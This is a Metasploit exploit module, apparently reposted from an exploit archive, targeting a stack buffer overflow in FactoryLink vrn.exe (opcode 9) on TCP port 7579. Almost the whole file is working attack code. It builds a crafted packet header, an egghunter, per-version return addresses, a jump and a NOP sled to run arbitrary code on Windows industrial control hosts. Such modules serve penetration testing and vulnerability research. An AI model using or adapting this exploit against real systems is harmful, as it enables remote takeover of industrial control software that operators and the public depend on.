FactoryLink vrn.exe Opcode 9 Buffer Overflow

##
# $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking
 
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Remote::Egghunter
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
                and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
                execute arbitrary code due to the improper use of a vsprintf() function while
                processing the user-supplied text field.  Originally found and posted by
                Luigi Auriemma.
            },
            'Author'         =>
                [
                    'Luigi Auriemma', # Public exploit
                    'hal'             # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: 12998 $',
            'References'     =>
                [
                    ['OSVDB', '72815'],
                    ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
                ],
            'Privileged'     => true,
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 885,
                    'BadChars' => "\x00",
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
                    [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
                    [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
                ],
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Mar 21 2011'))
 
        register_options([Opt::RPORT(7579)], self.class)
    end
 
    def exploit
        connect
 
        #The use of egghunter seems appropriate due to the small buffer in [ESP+8]
        hunter = generate_egghunter(payload.encoded, payload_badchars,
            { :checksum => true, :startreg => 'ebp'})
 
        egg = hunter[1]
 
        header =   "\x3f\x3f\x3f\x3f"
        header <<  "\xff\x55"
        header <<  "\x09\x00"
        header <<  "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
        header <<  "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
        header <<  "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
        header <<  "\x3f\x3f"
        header <<  "\xff\xff\xff\xff"
        header <<  "\x3f\x3f"
 
        request =  header
        request << rand_text_alpha_upper(100)
        request << egg
        request << rand_text_alpha(target['padding'])
        request << "\xeb\x06\x90\x90"
        request << [target.ret].pack('V')
        request << make_nops(24)
        request << hunter[0]
        request << rand_text_alpha_upper(100000)
 
        print_status("Trying target #{target.name} with #{request.size} bytes")
        sock.put(request)
 
        handler
        disconnect
    end
end



#  0day.today [2018-03-02]  #